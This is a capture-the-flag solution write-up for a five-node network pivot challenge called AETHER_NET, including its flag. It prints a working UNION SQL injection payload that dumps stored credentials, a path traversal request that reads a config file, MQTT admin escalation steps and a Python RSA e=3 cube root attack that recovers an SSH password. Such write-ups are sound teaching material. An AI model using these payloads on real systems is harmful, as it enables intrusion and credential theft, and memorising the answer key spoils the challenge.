# AETHER_NET — Solution **Difficulty:** Insane | **Category:** Misc | **Flag:** `ESPILON{4eth3r_n3t_d3us_4dm1n}` ## Overview Multi-layer network pivot challenge. 5 nodes, each requiring credentials extracted from the previous layer. All services run inside a single Docker container exposed on different ports. ```text lain-terminal:1337 → alice-web:8080 → bear-iot:1883 → maxis-crypto:9443 → deus-admin:22 (entry hints) (SQLi) (MQTT) (RSA decrypt) (flag) ``` --- ## Layer 01 — Entry Terminal ```bash nc 1337 ``` Read the available files: ```text cat notes.txt cat /var/log/network.log cat ~/.bash_history ``` `notes.txt` maps the network topology and drops the key hint: > "The search function... doesn't sanitize input. The system_config table has everything you need." `network.log` lists all five nodes and their ports. `.bash_history` shows partial MQTT credentials and previous curl commands. --- ## Layer 02 — Alice-Web (SQLi) Hit the status endpoint first to confirm the hint: ```bash curl http://:8080/api/status ``` Response confirms: `"The search endpoint passes input directly to SQLite. The system_config table contains network credentials."` ### UNION SQLi on `/search?q=` The query is: ```sql SELECT id, name, room, status FROM patients WHERE name LIKE '%%' ``` Extract the entire `system_config` table: ```bash curl "http://:8080/search?q=%27%20UNION%20SELECT%20null%2Ckey%2Cvalue%2Cdescription%20FROM%20system_config--" ``` URL-decoded payload: `' UNION SELECT null,key,value,description FROM system_config--` Response contains: ```json {"results": [ {"id": null, "name": "mqtt_user", "room": "operator", "status": "IoT broker username"}, {"id": null, "name": "mqtt_pass", "room": "", "status": "IoT broker password"}, {"id": null, "name": "mqtt_host", "room": "bear-iot", "status": "IoT broker hostname"}, {"id": null, "name": "admin_token", "room": "", "status": "..."}, ... ]} ``` Collect: `mqtt_pass` and `admin_token` (the 24-char hex token). ### Alternative: path traversal ```bash curl "http://:8080/docs?file=../../var/aether/config.json" ``` Reads the full instance config directly, including all credentials. --- ## Layer 03 — Bear-IoT (WIRED-MQTT) Connect with netcat: ```bash nc 1883 ``` Authenticate and escalate to admin: ```text CONNECT operator ADMIN LIST ``` `LIST` reveals the two hidden topics: - `wired/system/config` - `wired/knights/` Subscribe to get the RSA parameters: ```text SUBSCRIBE wired/system/config ``` Response includes: ```text RSA Public Key: n = <512-bit decimal> e = 3 Ciphertext (hex): ``` Subscribe to the knights topic for the exploit hint: ```text SUBSCRIBE wired/knights/ ``` Response (base64-decoded): > "e=3. No padding. The plaintext is short. Cube root gives the key." --- ## Layer 04 — RSA Cube Root Attack The RSA parameters are weak by design: - `n` is 512 bits (two 256-bit primes) - `e = 3` - Plaintext `m` ≤ 20 bytes → `m < 2^160` - Since `m^3 < n`, the modular reduction never triggers: `c = m^3` exactly Therefore: `m = ∛c` (integer cube root, no modular arithmetic needed). ```python import gmpy2, socket, struct HOST = "" PORT = 9443 # Connect to maxis-crypto to confirm params (or use values from Layer 03) with socket.create_connection((HOST, PORT)) as s: data = s.recv(4096).decode() print(data) # Extract n and c from the received data, then: n = # 512-bit integer c = int("", 16) m, exact = gmpy2.iroot(c, 3) assert exact, "Cube root is not exact — attack condition failed" # Decode the password (padded to 20 bytes with null bytes) deus_pass = m.to_bytes(20, 'big').rstrip(b'\x00').decode() print(f"deus SSH password: {deus_pass}") ``` --- ## Layer 05 — SSH to Deus-Admin ```bash ssh deus@ -p 22 # Enter deus_pass from Layer 04 ``` ```bash cat flag.txt ``` ```text ESPILON{4eth3r_n3t_d3us_4dm1n} ``` --- ## Key Concepts - **UNION-based SQLi**: `' UNION SELECT ... FROM system_config--` exfiltrates internal credentials from a hidden table - **Path traversal**: `../../var/aether/config.json` bypasses the `/docs` base directory restriction - **Custom MQTT escalation**: `ADMIN ` command unlocks hidden broker topics unavailable to regular subscribers - **RSA e=3 cube root attack**: When `m^3 < n` (no modular reduction), the ciphertext is literally `m^3` — integer cube root recovers plaintext in O(1) ## Author Eun0us